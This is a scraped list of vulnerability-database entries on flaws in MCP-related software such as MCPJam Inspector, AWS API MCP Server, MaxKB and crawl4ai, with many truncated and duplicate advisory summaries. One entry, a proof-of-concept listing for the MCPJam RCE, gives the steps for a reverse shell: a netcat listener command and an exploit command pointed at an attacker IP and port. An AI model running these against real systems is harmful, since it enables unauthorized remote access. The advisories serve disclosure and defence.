CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

mcpjam-cve-2026-23744-validator

MCPJam Inspector Authorized Security Validator A bounded proof-of-concept validator for CVE-2026-23744 affecting vulnerable MCPJam Inspector deployments. This project is an independent, non-destructive validation tool for the previously disclosed CVE-2026-23744. It is not the original vulnerabili...

CVE-2026-115413

Missing token audience validation in the OAuth authentication mode of AWS API MCP Server before version 1.6.0 might allow local users to run AWS operations with the server's configured AWS credentials via an access token issued to another application by the same identity provider. To remediate th...

EUVD-2026-111349

Missing token audience validation in the OAuth authentication mode of AWS API MCP Server before version 1.6.0 might allow local users to run AWS operations with the server's configured AWS credentials via an access token issued to another application by the same identity provider. To remediate th...

CVE-2026-115413

Missing token audience validation in the OAuth authentication mode of AWS API MCP Server before version 1.6.0 might allow local users to run AWS operations with the server's configured AWS credentials via an access token issued to another application by the same identity provider. To remediate th...

CVE-2026-115413 AWS API MCP Server OAuth Token Audience Validation Bypass

Missing token audience validation in the OAuth authentication mode of AWS API MCP Server before version 1.6.0 might allow local users to run AWS operations with the server's configured AWS credentials via an access token issued to another application by the same identity provider. To remediate th...

CVE-2026-115413

The AWS API MCP Server (versions prior to 1.6.0 ) is vulnerable to an OAuth Token Audience Validation Bypass . The root cause is a failure to validate the token audience in the OAuth authentication mode. This allows a local user to execute AWS operations using the server's configured AWS credenti...

PT-2026-127197

Name of the Vulnerable Software and Affected Versions AWS API MCP Server versions prior to 1.6.0 Description In the OAuth authentication mode, the server fails to validate the token audience. While the server verifies the token signature, issuer, and expiry, it does not check if the token was...

CVE-2026-115413: Origin Validation Error

Missing token audience validation in the OAuth authentication mode of AWS API MCP Server before version 1.6.0 might allow local users to run AWS operations with the server's configured AWS credentials via an access token issued to another application by the same identity provider. To remediate th...

VulnCheck KEV: CVE-2026-90898

Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required. The default is governance.authconfig.isenabled=false. Auth off means every caller is a local admin...

crawlstudio (>=0.1.0, <=0.1.1), iflow-mcp-prospectio-api-mcp (0.1.0) +7 more potentially affected by CVE-2026-115508 via crawl4ai (>=0.7.4, <=0.9.2)

crawl4ai PYPI version =0.7.4, =0.1.0, =0.17.0, =0.3.0, =0.5.0, =0.4.0, =0.4.0, =0.6.4 Source cves: CVE-2026-115508 Source advisory: SNYK:PYTHON-CRAWL4AI-21693566...

crawl4agent (>=0.2.0, <=0.3.5), crawlstudio (>=0.1.0, <=0.1.1) +15 more potentially affected by CVE-2026-115508 via crawl4ai (>=0.5.0.post8, <=0.9.2)

crawl4ai PYPI version =0.5.0.post8, =0.2.0, =0.1.0, =0.16.0, =0.3.0, =0.5.0, =0.4.0, =0.4.0, =0.0.8, =0.0.1, =0.0.4 and more Source cves: CVE-2026-115508 Source advisory: MEND:CVE-2026-115508...

crawlstudio (>=0.1.0, <=0.1.1), iflow-mcp-prospectio-api-mcp (0.1.0) +7 more potentially affected by CVE-2026-109238 via crawl4ai (>=0.7.4, <=0.9.2)

crawl4ai PYPI version =0.7.4, =0.1.0, =0.17.0, =0.3.0, =0.5.0, =0.4.0, =0.4.0, =0.6.4 Source cves: CVE-2026-109238 Source advisory: SNYK:PYTHON-CRAWL4AI-21693569...

CVE-2026-77519

MaxKB (an open-source enterprise AI assistant) versions 2.10.2-lts and earlier contain an authentication inconsistency in the /chat/api/mcp endpoint. The MCP authentication path validates ApplicationApiKey using only the secret and active status, omitting the is_permanent and expire_time checks e...

CVE-2026-77519 MaxKB: Expired application API keys remain usable on `/chat/api/mcp`

MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, the /chat/api/mcp authentication path looks up an ApplicationApiKey using only its secret and active status, without enforcing the ispermanent and expiretime checks used by the standard chat API. A previously valid,...

CVE-2026-77519 MaxKB: Expired application API keys remain usable on `/chat/api/mcp`

MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, the /chat/api/mcp authentication path looks up an ApplicationApiKey using only its secret and active status, without enforcing the ispermanent and expiretime checks used by the standard chat API. A previously valid,...

PT-2026-96255

Name of the Vulnerable Software and Affected Versions MaxKB versions prior to 2.10.2-lts Description The authentication process for the '/chat/api/mcp' endpoint fails to enforce is permanent and expire time checks when validating an ApplicationApiKey. It only verifies the secret and active status...

CVE-2026-77519: Insufficient Session Expiration

MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, the /chat/api/mcp authentication path looks up an ApplicationApiKey using only its secret and active status, without enforcing the ispermanent and expiretime checks used by the standard chat API. A previously valid,...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...

PT-2026-96001

Name of the Vulnerable Software and Affected Versions 03-lovepreetSingh MCP versions up to f95d035c5317fad81af9828286631053ccb23546 Description A remote path traversal issue exists in the create file function within the 'app/api/mcp/route.ts' file. This occurs when the filePath or content argumen...